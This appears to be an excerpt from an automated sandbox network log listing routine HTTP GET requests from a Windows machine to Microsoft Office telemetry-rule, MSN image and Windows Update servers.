Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3WFSs6766RwY4Zt&MD=dHw8vdkN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
